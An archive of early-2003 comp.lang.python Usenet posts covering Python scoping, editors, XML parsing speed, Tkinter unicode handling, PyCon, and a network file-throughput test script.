Message-ID: <98abe-ir8.ln1@news.lairds.org>

grante at visi.com (Grant Edwards) writes:

>It's often interesting to write the same program in two
>different languages, but I don't know that it's required.

I was recently a guest teacher for a Fortran class that was
assigned to rewrite their largest programming assignmenet
(a simple calculator) in Python.  It was strange to see
Fortran rewritten as Python.  (I'm told that the teacher
has a tough time getting the students to write in Fortran
after this exercise.)

One of the best things I noticed a student do was that
since he didn't know how to do something in Python, he
implemented his need (I forget exactly what it was.) using
a piece of Python that he did understand.  (Think in terms
of implementing a dictionary as a list.)

While this might seem like a failure to adequately learn
the language, I thought it was great that he was thinking
about how to work around a feature missing in (his 
understanding of) a language.

To me, a big part of learning multiple languages is getting
exposure to different ways of thinking.  Then you can
implement a solution using whatever language is available.

--kyler



From urfaust at optushome.com.au  Sat Jan  4 11:36:41 2003
From: urfaust at optushome.com.au (faust)
Date: Sat, 04 Jan 2003 08:36:41 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk>
Message-ID: <gb3e1vcn34hbg981mpcdae7f655adoc21e@4ax.com>

 Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> ,  emitted
these fragments:

>Of course, I had to mention vi, but nobody in their right mind would
>actually use it. Emacs is the One True Editor:
>http://www.dina.dk/~abraham/religion/

M-x (all-praise-be-to-emacs-the-one-true-way)

--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From neal at metaslash.com  Sun Jan  5 23:28:56 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Sun, 05 Jan 2003 23:28:56 -0500
Subject: Design By Contract in Python 2.4
References: <pO6S9.113295$6H6.3803900@twister.austin.rr.com>
Message-ID: <pan.2003.01.06.04.28.50.464368.9294@metaslash.com>

On Sun, 05 Jan 2003 22:33:41 -0500, Kevin Ethridge wrote:

> Just kidding :)
> Does anybody know if there are any plans for 'Eiffel style' DBC in
> Python?

While I don't know of any plans to modify Python, you should look
in Demo/newmetaclasses.

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Demo/newmetaclasses/Eiffel.py?rev=1.5&content-type=text/vnd.viewcvs-markup

Neal



From max at alcyone.com  Wed Jan  1 00:48:22 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 31 Dec 2002 21:48:22 -0800
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <uzlQ9.2011$8n5.515861@news20.bellglobal.com> <WhqdnbfA_sxi9I-jXTWcqw@comcast.com>
Message-ID: <3E128126.84EEF2AC@alcyone.com>

Terry Reedy wrote:

> And, of course, calling the first arg 'self' is a convention, not a
> commandment.

True, but, in my opinion, it's so entrenched that commonly naming it
something other than `self' is almost a perversion.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All your slick moves / They were once innocent moves
\__/ Sade
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From peter at engcorp.com  Wed Jan  8 16:50:32 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 16:50:32 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <3E1C59C6.5D8034CD@engcorp.com> <mailman.1042048638.27988.python-list@python.org>
Message-ID: <3E1C9D28.C94133DA@engcorp.com>

Michal Vitecek wrote:
> 
> Peter Hansen wrote:
> >"Globals" are not really *global* in Python, they are visible only
> >throughout the module in which they are defined, not throughout the
> >entire application.
> >
> >You've defined "GLOBAL_VARIABLE" in the module used for the interactive
> >interpreter (well, I think that's roughly what happens... it's close
> >enough for this discussion) but someFunction() is defined in another
> >module which has its _own_ "namespace" (basically, the set of names
> >that it recognizes).  Even though you've imported a name from the
> >"imported" namespace into your own namespace(*), you don't change
> >the fact that someFunction() looks in the namespace of the "imported"
> >module to find the "global".
> 
>  i must say that this behaviour of "global" variables is IHMO pretty
>  uncommon and non-intuitive and i wonder what was the reason the
>  developers chose this way:
>     1) either that global variables have module-only scope

This is definitely the case.  Check the language definition, particularly
this section: http://www.python.org/doc/2.2/ref/execframes.html

>     2) method even though it is imported into different scope still
>     looks for data in module in which it was defined

The method is *not* imported into a different scope.  If you think that,
you still need to learn about "binding" in Python.  The method is defined
in its original scope, which is inside the "imported" module.  You cannot
change that.  What you are doing is creating a *local* name, bound to the
function in the "imported" module (but not affecting it in any way), 
and which just happens to have the same name as that function.  The
function is not changed, and is completely unaware of the fact that you
have created another name bound to it, so it *must* look in its own
module's global namespace for the global name.

In any case, aside from all this non-intuitive (but as a newbie to
a new language, "unexpected" might be a better word for you to use,
since without an understanding of how the language works internally
you probably can't have valid intuitions about it at all), I have
to agree with the other comments which point out "this is definitely
not the right way to do things".

You should be adopting a more modular approach, and you can definitely
do this without any use of global variables.

-Peter



From morden at shadows.net  Tue Jan  7 21:30:52 2003
From: morden at shadows.net (morden)
Date: Tue, 07 Jan 2003 18:30:52 -0800
Subject: GUI toolkits
Message-ID: <avfsc2$8ar$1@bob.news.rcn.net>

Is there info availbale somewhere on the relative merits of tkinter vs. 
pyGnome?

Thank you!




From mertz at gnosis.cx  Thu Jan  2 22:01:28 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Thu, 02 Jan 2003 22:01:28 -0500
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041546615.4111.python-list@python.org>
Message-ID: <I0PF+kKkX0Xe092yn@gnosis.cx>         

"Bjorn Pettersen" <BPettersen at NAREX.com> wrote previously:
|As a test, I tried building my own tree directly from the Expat events.
|This was about 4 times faster (2.89 accts/sec), but still far from fast
|enough...  I'm starting to think a custom C++ parser might be...

PyExpat is pretty darn fast.  I would be quite surprised if you could do
several times better with a custom C++ parser.  You might take a look at
RXP/PyRXP, which brags of its speed.  But even then, it claims a few
percent better than expat, not several times (albeit, with validation
added in).

Yours, Lulu...

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From amol at kenati.com  Mon Jan  6 00:15:34 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Mon, 6 Jan 2003 10:45:34 +0530
Subject: Re. Python vs. Perl
Message-ID: <200301060510.VAA05376@cyberpopuli.com>

Hi

Thanks for your replies guys. Can python can be used in synch with Expect? 
How the env should be set then? 

Amol




From sasDOTepsylon at wanadoo.fr  Tue Jan 14 17:12:26 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Tue, 14 Jan 2003 23:12:26 +0100
Subject: boa-constructor 0.2 freezes on start-up
References: <mailman.1042571909.21382.python-list@python.org> <3e248013.0@news1.mweb.co.za>
Message-ID: <ea292v8gh4almiv5bflqtrpo234qc9artp@4ax.com>

On Tue, 14 Jan 2003 23:27:07 +0200, "Riaan Booysen" <riaan at e.co.za>
wrote:

>Hi Loren,
>
><PoulsenL at capanalysis.com> wrote in message
>news:mailman.1042571909.21382.python-list at python.org...
>> I am having some trouble getting boa up and running.  I am using Python
>> 2.2.2 and wxPython 2.4.0 for 2.2 I can't seem to get past
[...]
>
>You forgot to mention that you are using the unicode build of wxPython
>2.4.0.1
[...]
>It works well enough with the unicode build of wxPython 2.3.4.2 and there
>isn't that much difference between that and 2.4.0.1 so I suggest you
>downgrade
>until 2.4.0.2 or 2.4.1 is out.

I use :
- Python 2.2.2 Windows XP Professional
- wxPython 2.4.0.1 (no Unicode support) for Python 2.2
- boa-constructor v0.2.0alpha
and I don't noticed any problems.
If Loren doesn't matter about Unicode (but this must certainly not be
the case if she (he ?) downloaded the Unicode version), she can
download the last version of wxPython w/ no Unicode support safely.

-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From pyth at devel.trillke.net  Sat Jan 11 14:09:36 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 11 Jan 2003 20:09:36 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <SrZT9.121191$Hs2.11493220@kent.svc.tds.net>; from edream@tds.net on Sat, Jan 11, 2003 at 06:33:22PM +0000
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net>
Message-ID: <20030111200936.U349@prim.han.de>

Edward K. Ream wrote:
> > I'm inclined to withhold judgment on such claims, admitting the
> > possibility that I don't know everything.
> 
> A better rule of thumb, IMO, is that extraordinary claims require
> extraordinary justification.

We probably should have said 'hope to' instead of
'are confident' regarding speed prospects.  

Edward, i appreciate your scepticism as it reminds me
that we are mostly doing this because we want to have fun 
while trying it.  Raising too many expectations can be 
dangerous.  Now, rumor has it that Armin Rigo will
also do it as part of his new job and he is (still :-)
confident so hopefully, 'eventually' this will work out.  

cheers,

    holger




From tbryan at python.net  Sat Jan 11 21:22:09 2003
From: tbryan at python.net (Tom Bryan)
Date: Sun, 12 Jan 2003 02:22:09 GMT
Subject: PyCon DC anyone?
Message-ID: <lj4U9.63948$kY3.2535794@twister.southeast.rr.com>

I've been looking around for discussions about PyCon, and I've been 
disappointed so far.  The submission deadline is nearing 
http://www.python.org/pycon/cfp.html, and I was hoping to see some 
discussion of what others were thinking of doing.  I haven't seen much on 
c.l.py about the conference, and the Wiki at 
http://www.python.org/cgi-bin/moinmoin/PyCon is not particularly active.  
The pycon-interest mailing list is also quiet.  Given the nature of the 
conference, I expected more community involvment at this point.  

I was hoping that there would be some good Jython content at the conference.  
i even went so far as to start a page about a Jython track at the 
conference at http://www.python.org/cgi-bin/moinmoin/PyConJython, but I'm 
afraid that no one is actually submitting any papers/talks about any of 
these topics.  Any other Jython users planning to attend PyCon.

I haven't been to any technical conference like this before, and I really 
don't know what to expect.  I was just excited about the concept of 
something cheap enough that I could afford it on my own.  :-)  I wanted to 
add some variety to my day job of coding in Java and C, and I thought that 
the PyCon sounded like a fun place to meet other Pythonistas, hear what 
people are doing, learn some new stuff, and hack some code.  It's going to 
be difficult for me to decide whether to go if I don't see some others 
talking about it.

Anyway, what does the rest of the community think?  Are you going to PyCon?  
What do you expect?  Did you submit a paper?  

wouldn't-want-to-be-the-only-attendee-ly y'rs,
---Tom




From peter at engcorp.com  Wed Jan  1 17:47:36 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Jan 2003 17:47:36 -0500
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com>
Message-ID: <3E137008.3586A4D8@engcorp.com>

Rob Renaud wrote:
> 
> <lot snipped>
> "John Roth" <johnroth at ameritech.net> wrote in message
> > Whether append() returns a *new* object or not is irrelevant to
> > my arguement. The fact that it returns None is the wart.
> >
> > John Roth
> 
> It's consistant, not a wart from my perspective.  If an object is
> modified, it is not returned.
> 
> For every part of the (admittedly small) python library I know, that
> is the case.  Returning None is a hint that the object is modified.
> 
> So then the question becomes, why don't append(), sort(), reverse()
> return a new list and not modify the original?  Are mutable objects
> themselves a wart on the langauge?

I believe the response might be that, in at least the case of sort(),
and probably reverse() as well, creation of a new list would require
twice the memory, at least temporarily, which can be very undesirable.

-Peter



From markus_wankus at hotmail.com  Fri Jan  3 14:35:25 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Fri, 03 Jan 2003 14:35:25 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <lhf4va-ap4.ln@majestix.gallien.de> <slrnb1bo6m.o8n.grey@teleute.dmiyu.org>
Message-ID: <3E15E5FD.7000100@hotmail.com>

Steve Lamb wrote:
> On Fri, 03 Jan 2003 17:59:33 +0100, Detlev Offenbach
> <detlev at die-offenbachs.de> wrote:
> 
>>Try eric3 from http://www.die-offenbachs.de/detlev/eric3.html
>>It is a complete IDE and it is released under the terms of the GPL. It 
>>probably has the features you are looking for.
> 
> 
>     Silly question, do you know if it has been packaged for Debian or if
> anyone from Debian has shown interest in packaging it?
> 

Yes, please someone package this up!  I have been dying to try this out, 
and have been trying to install PyQt/Qscintilla for a few days now.  I 
spent the holidays setting up a fresh Linux box at home for the sole 
purpose of trying eric3 out.  I have yet to experience success.  I 
cannot seem to compile PyQt/Qscintilla properly for eric to install. 
All of the issues seem to be related to Qt and it messing with the 
compile stages of PyQt/Qscintilla.

The binaries on sourceforge are next to useless for the latest eric3 
because the PyQt RPMS don't have Qscintilla support in them!  I'm sure 
there would be a lot more interest in this editor/debugger if it would 
install effortlessly (well...reasonably effortlessly - at least have the 
supporting packages compile properly).

(BTW - I am currently running Mandrake 9)

Mark.




From norm at norm.com  Mon Jan 27 23:17:58 2003
From: norm at norm.com (Norm)
Date: Mon, 27 Jan 2003 23:17:58 -0500
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <slrnb3c0lg.b4r.grante@localhost.localdomain>
Message-ID: <3e360342_3@corp.newsgroups.com>

I should have mentioned that I tried "199" as well.  No luck no error.

Am I opening the file in the correct mode  r+   ?


"Grant Edwards" <grante at visi.com> wrote in message
news:slrnb3c0lg.b4r.grante at localhost.localdomain...
> In article <3e35fde8_3 at corp.newsgroups.com>, Norm wrote:
> > I would like to open this unix passwd file and chang the GID of those
who
> > have a GID of 200 to 199
> >
> > This does everything except change fields[3] to 199
>
> > for record in records:
> >     fields = record.split(':')
> >     if fields[3] == "200":
> >         print fields[0], " has a GID of 200"
> >         print "now changing it to 199"
> >         fields[3] = 199
>
> You probably want
>
>           fields[3] = "199"
>
> > file.close()
>
> --
> Grant Edwards                   grante             Yow!  Can I have an
IMPULSE
>                                   at               ITEM instead?
>                                visi.com




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From laocoon at eudoramail.com  Fri Jan 17 09:04:09 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Fri, 17 Jan 2003 15:04:09 +0100
Subject: help!! getting output from another process line by line, using popen
References: <b08ka1$q8l8@imsp212.netvigator.com> <Xns9306963ED78FFLaocoon@62.153.159.134>
Message-ID: <Xns9306995379CBDLaocoon@62.153.159.134>

*snip*
>> ================monitor.py===============
>> #! /usr/bin/python
>> 
>> import os
>> import sys, string
>> cmd="python output.py"
*snip*
> Lao

After just testing it you also /have to/ use python -u
here to get unbuffered output.

Sorry for the inconvenience

Lao



From tjreedy at udel.edu  Tue Jan  7 11:05:07 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 11:05:07 -0500
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <52719db8.0301070508.22a5063d@posting.google.com>
Message-ID: <BmWdnXYnQ4PBZ4ejXTWcpQ@comcast.com>

"James Huang" <judoscript at hotmail.com> wrote in message

I would not have minded your self-serving promo so much if it had been
honestly titled:

(OT) Judoscript, another Java scripting language

As it is, there is nothing novel about the thought "My baby is great".

TJR





From brian at sweetapp.com  Sun Jan  5 06:19:12 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Sun, 05 Jan 2003 03:19:12 -0800
Subject: Python vs .Net
In-Reply-To: <slrnb1g1qr.sgg.karsten@datasink.webmonster.de>
Message-ID: <00ac01c2b4ac$46801950$21795418@dell1700>

> .NET is Microsoft's approach to embrace and extend the OpenSource
> "scene" by publishing a quasi-standard framework which consists of the
> company's "core technologies" (COM/DCOM/passport, just to name a few)

Nope. COM/DCOM is not part of .NET. This is an interoperability layer to
allow .NET applications to use COM components though.

> that are ported in some way to run on anything that's out there,
barely,
> and "a little better" on their platform.

The jury is out on whether they really want all of .NET to run on other
platforms.

> .NET provides several language bindings (C$$$^H^H^H#, ahem, MSVC,
> VB,... but why would you /want/ to code in those languages once you
made
> friends with Python?[1]).

I don't like the way you are using the word bindings. They are bindings
in the same sense that Python has x86 bindings.
 
> Python is an interpreted, object-oriented, weak-typed, [...]
programming
> language that enables you to write elegant and working code. Python
> employs "third-party" bindings to C-libraries or native Python modules
> to provide additional functionalty or access to third-party APIs.

Python is not weakly-typed. It is strongly dynamically typed. 

'foo' + 5 # ok => weakly-typed
'foo' + 5 # exception at runtime => strongly dynamically typed
'foo' + 5 # exception at compile time => strongly statically typed

Cheers,
Brian





From max at alcyone.com  Thu Jan 23 19:38:29 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:38:29 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <6e07b825.0301222200.522fbbde@posting.google.com> <mailman.1043305181.1360.python-list@python.org> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net>
Message-ID: <3E308B05.913B1180@alcyone.com>

Terry Hancock wrote:

> >>> for k,v in kv:
> ...     print "%s\t%5d\t%5.1f%%" % (k, v, (float(v)/sum)*100)

It's tempting to scale them all as a percentage of a total, but it has a
lie-with-statistics flaw:  If you add more languages, it looks like the
ratings of all the others go down, even though that isn't the case.

Not that what we're measuring has much intrinsic value, anyway.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From jwbaxter at spamcop.net  Wed Jan 29 01:48:09 2003
From: jwbaxter at spamcop.net (John Baxter)
Date: Tue, 28 Jan 2003 22:48:09 -0800
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com>
Message-ID: <jwbaxter-468AFB.22480828012003@corp-radius.supernews.com>

In article <3E35A9B3.87D605DC at engcorp.com>,
 Peter Hansen <peter at engcorp.com> wrote:

> I like Brett's answer: "strings are immutable (keep repeating that)".

Strings are immutable (and nothing changes that).  ;-)

  --John



From buzzard at urubu.freeserve.co.uk  Sat Jan 18 14:21:51 2003
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Sat, 18 Jan 2003 19:21:51 -0000
Subject: suppressing dos box, os.spawnv()
References: <b0c1ft$mue$1@newsg1.svr.pol.co.uk>
Message-ID: <b0c9i5$39g$1@newsg3.svr.pol.co.uk>

It seems I needed popen4 to get most of this sorted out.

Duncan





From andy at eastonwest.co.uk  Tue Jan  7 15:11:33 2003
From: andy at eastonwest.co.uk (andy)
Date: Tue, 7 Jan 2003 20:11:33 +0000
Subject: File Read/Write test program
Message-ID: <200301072011.33638.andy@eastonwest.co.uk>

I had to write a program to test raw read-write speed to several network 
servers today, as we needed to prove that some changes we've made to our 
setup had yielded good results.

It doesn't have any trouble saturating a 100Mb/s link, and seems to yield 
reasonably consistent results.

It gets run under Windows XP, talking to Windows 2000 servers.  

Any comments?

One Q - is there a more intelligent way to generate the required 50MB string?

regards, 
-andyj

# file read/write performance monitor
# repeatedly writes/reads back large file

# modify the following to alter the behaviour of this program:

chunksize=50 # Size (in MB) of file chunks to write - MAX 60

numchunks=2  # Number of chunks to write to file
testcycles=5 # how many times to write the test file
testfile="/testfile.txt" # name of file to write to

megabyte=1048576 # 1024*1024 - REAL megabytes
#megabyte=1024000 # 1000*1024 - DISK megabytes

# test servers - unc name of test directory.
# note must use forward "/" rather than "\" back slashes!
# each pair consists of "//server":"/path"
servers={"//srv01":"/test", # main windows server
         "//srv02":"/test", # tivoli server
         "//srv12":"/test", # main print server
         "c:":"/test"}         # test local drive as control

import os,time

def generate_chunk(megabytes):
    """ returns a string containing megabytes*1048576 asterisks """
    meg="*"
    for n in range(20):
        meg=meg+meg
    chunk=""
    for n in range(megabytes):
        chunk=chunk+meg
    return chunk

def test(path,chunk,count):
    """ writes chunk to file 'path', count times, then reads it all back """
    global chunkin
    t=time.time()
    # write the file
    f=open(path,"wb",1024*1024)
    for n in range(count):
        f.write(chunk)
    f.close()
    # read it back
    f=open(path,"rb",1024*1024)
    chunkin=f.read()
    f.close()
    # delete the file
    os.remove(path)
    dur=time.time()-t
    return dur

def report():
    global servers
    print
    print 
"================================================================================"
    print
    print "Results"
    print "======="
    print
    for server in servers.keys():
        print "%19s" % server,
        servers[server]=0.0
    for cycle in range(testcycles):
        for server in servers.keys():
            print "  %6.2f %6.2fMB/s" 
%(results[cycle][server],(len(chunk)*2.0)/results[cycle][server]/megabyte),
            servers[server]+=(len(chunk)*2.0)/results[cycle][server]/megabyte
        print
    print " Average",    
    for server in servers.keys():
        print "        %6.2fMB/s" % (servers[server]/(testcycles*2)),

# main code
print "Performance test in progress..."
print "==============================="
print
print "Creating data chunk and read buffer..."
results={}
chunk=generate_chunk(chunksize)
# preallocate memory for chunk-in
chunkin=""
for n in range(testcycles):
    chunkin=chunkin+chunk
print
print "Performing test..."
print 
print "Pass",
for server in servers.keys():
    print "%15s" % server,
print
for cycle in range(testcycles):
    print "  %2i" % (cycle+1),
    results[cycle]={}
    for server in servers.keys():
        
results[cycle][server]=test(server+servers[server]+testfile,chunk,numchunks)
        print "     %6.2f" % results[cycle][server],
    print
# print the report        
report()





From peter at engcorp.com  Sun Jan 12 09:59:14 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 09:59:14 -0500
Subject: pure virtual functions in python
References: <avrto1$gdk$1@news-reader10.wanadoo.fr>
Message-ID: <3E2182C2.669BF97D@engcorp.com>

polux wrote:
> 
> how to emulate them ?
> I mean, how to force a user to redifine some functions in a derivated
> class ?

>>> class PureVirtual:
...     def method(self):
...         raise NotImplementedError('PureVirtual.method must be supplied in child class')
...
>>> class BadChild(PureVirtual):
...     pass
...
>>> b = BadChild()
>>> b.method()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in m
NotImplementedError: PureVirtual.method must be supplied in child class

-Peter



From vanevery at 3DProgrammer.com  Thu Jan 30 03:55:47 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 08:55:47 GMT
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org>
Message-ID: <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net>

Simon Wittber (Maptek) wrote:
> Hmmmmm...
>
>> Brandon Van Every wrote:
>>> I see no primary purpose for Python's existence other than as a
>>> glue language.
>
> An obvious troll. Appears to be a successful one too!

A person of no use because he writes off anything aberrant as "troll."
Goodbye!

Man, I am so sick of Usenet.  Why do I bother?  Oh, I remember now... my
eyes are glazing over after all the C++ code I've been writing.  I'm
laboring under the delusion that this "break" somehow helps.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From jbperez808 at yahoo.com  Mon Jan 13 05:25:32 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 13 Jan 2003 02:25:32 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <f57664b9.0301130225.79fad58e@posting.google.com>

jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301110959.5b1439da at posting.google.com>...
> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.
> 
> I was thinking of using '_' ('I' is a distant second
> choice) instead of self.  Comments?

One compromise I can think of would be to just use 'self'
all the time and in the isolated cases where it would 
lead to unbearably long (and unreadable) lines, create an
alias variable for the offending attribute.



From makwaiming at yahoo.com  Thu Jan 30 04:50:05 2003
From: makwaiming at yahoo.com (Mak)
Date: 30 Jan 2003 01:50:05 -0800
Subject: Sending Novell Message from Python
Message-ID: <825b84d0.0301300150.3685bbf2@posting.google.com>

Hi All,

In my working environment, I need to do some administration works that
involves informing a group of person. Currently, I do that by Send
Message of Netware Services. That works but I would like to integrate
the send message part with other tasks which currently is performed
with Python. So, anybody know whether that is possible or not ? If
yes, how can I do ?

Note: My Novell Client version is 4.81

Thank in advance.

Mak



From grante at visi.com  Wed Jan 29 18:22:25 2003
From: grante at visi.com (Grant Edwards)
Date: 29 Jan 2003 23:22:25 GMT
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <mailman.1043878797.17130.python-list@python.org>
Message-ID: <3e386231$0$26151$a1866201@newsreader.visi.com>

In article <mailman.1043878797.17130.python-list at python.org>, Mark McEahern wrote:
> [Laura Creighton [mailto:lac at strakt.com]]
>> Or perhaps it won't be.   read http://www.python.org/peps/pep-0666.html
> 
> That remains my favorite PEP.  And I don't even know what the hell treacle
> is!

It's sort of like molasses.

-- 
Grant Edwards                   grante             Yow!  .. I want FORTY-TWO
                                  at               TRYNEL FLOATATION SYSTEMS
                               visi.com            installed within SIX AND A
                                                   HALF HOURS!!!



From gbreiner at ias.u-psud.fr  Wed Jan 29 10:09:55 2003
From: gbreiner at ias.u-psud.fr (Gerard Breiner)
Date: Wed, 29 Jan 2003 16:09:55 +0100
Subject: pydoc Tkinter fails under HPUX 11
Message-ID: <Pine.WNT.4.44.0301291601020.3352-100000@azur>

Hello,

I installed Python 2.2.2 un a platform HP9000 HPUX 11.00 and the first
command i tried is : pydoc Tkinter
The result is :
problem in /usr/local/lib/python2.2/lib-tk/Tkinter.pyc - ImportError:
Failed to load /usr/local/lib/python2.2/lib-download/_Tkinter.sl
An idea ?

Best regards

Gerard Breiner
Institut d'Astrophysique Spatiale
Batiment 121
91405 Orsay Campus
France




From v.wehren at home.nl  Mon Jan 27 01:30:28 2003
From: v.wehren at home.nl (vincent wehren)
Date: Mon, 27 Jan 2003 07:30:28 +0100
Subject: Tkinter + Unicode -- possible FIX
References: <3e3446f4_1@dns.sd54.bc.ca>
Message-ID: <b12j8e$bof$1@news2.tilbu1.nb.home.nl>

"Bob van der Poel" <bvdpoel at kootenay.com> schrieb im Newsbeitrag
news:3e3446f4_1 at dns.sd54.bc.ca...
>
> In another thread I whinned about the entry of character outside of the
> 7bit ascii range into a tkinter Entry widget crashing my program.
>
> First, the problem: Somewhere along the line the data in an Entry widget
> is being checked. And if it has non-7bit character in it the return
> value for Entry.get() is type unicode, NOT type str. Now, any python
> code which attempts to compare or print this value causes the
> interpreter to exit with a line similar to:
>
> UnicodeError: ASCII encoding error: ordinal not in range(128)
>
> Second, how I wasted a lot of time trying to fix this: I figured I had
> to change my program, so I started to add lots of lines like:
>
> if type(result) != type(""):
> result=result.encode(defaultEncoding)
>
> where the variable defaultEncoding had been determined by a call to
> locale.getlocale()
>
> All this turned out to be unnecessary.
>
> Third, the simple fix:
>
>
> In the python library files "site.py"  there is code which looks like:
>
>           if 0:
>                 # Enable to support locale aware default string encodings.
>                 import locale
>                 loc = locale.getdefaultlocale()
>                 if loc[1]:
>                     encoding = loc[1]
>
> Simply chaning the 'if 0:' to 'if 1:' nicely fixes the problem. I'm not
> sure if this relevant to all combinations of python/tkinter. But it
> certainly is with python 2.2 on my Mandrake 9.0 installation.
>
> Hope this helps someone else.

What's wrong with encoding the strings as needed, meaning at the time of
print output or storage in a byte-oriented file? And promoting your
byte-oriented strings to unicode to enable comparison?




Vincent Wehren


>
> --
> Bob van der Poel ** Wynndel, British Columbia, CANADA **
> EMAIL: bvdpoel at kootenay.com
> WWW:   http://www.kootenay.com/~bvdpoel
>
>
>
>





From nicolasb at maich.gr  Thu Jan 23 02:29:07 2003
From: nicolasb at maich.gr (Nicolas Boretos)
Date: Thu, 23 Jan 2003 09:29:07 +0200
Subject: TclError: Can't find a usable init.tcl in the following directories:
References: <200301230958.05815.riso@softstar.net.cn>
Message-ID: <3E2F99C3.3080301@maich.gr>

riso wrote:
> When I run IDLE , I get the following error:
> 
> Traceback (most recent call last):
>   File "/usr/lib/python2.2/site-packages/idle/idle.py", line 4, in ?
>     PyShell.main()
>   File "/usr/lib/python2.2/site-packages/idle/PyShell.py", line 747, in main
>     root = Tk(className="Idle")
>   File "/usr/lib/python2.2/lib-tk/Tkinter.py", line 1487, in __init__
>     self.tk = _tkinter.create(screenName, baseName, className)
> TclError: Can't find a usable init.tcl in the following directories: 
>     /usr/lib/tcl8.3 
> 
> I use Mandrake Rpms: (Mandrake 9.0)
> tcl-8.3.3-21mdk.rpm
> tk-8.3.3-21mdk.rpm
> tkinter-2.2.1-14.2mdk.rpm
> python-2.2.1-14.2mdk.rpm
> 
> I can`t find how to set the tkinter search path, can someone tell me how to 
> resolve these errors?
> 
> Thanks 
> 
> 

Hi,

This error is usually due to an "incomplete", or non-standard 
installation. Did you compile tcl yourself, if so, make install puts 
things in the right places.

regards,
nicolas boretos







From richie at entrian.com  Wed Jan 22 10:36:40 2003
From: richie at entrian.com (Richie Hindle)
Date: 22 Jan 2003 07:36:40 -0800
Subject: socket programming strategy
References: <000601c2bf1d$df4b3540$9e88013d@JeethuRao> <mailman.1042939895.31788.python-list@python.org> <8a6ba1da.0301210214.6183c312@posting.google.com>
Message-ID: <8a6ba1da.0301220736.71b8a00f@posting.google.com>

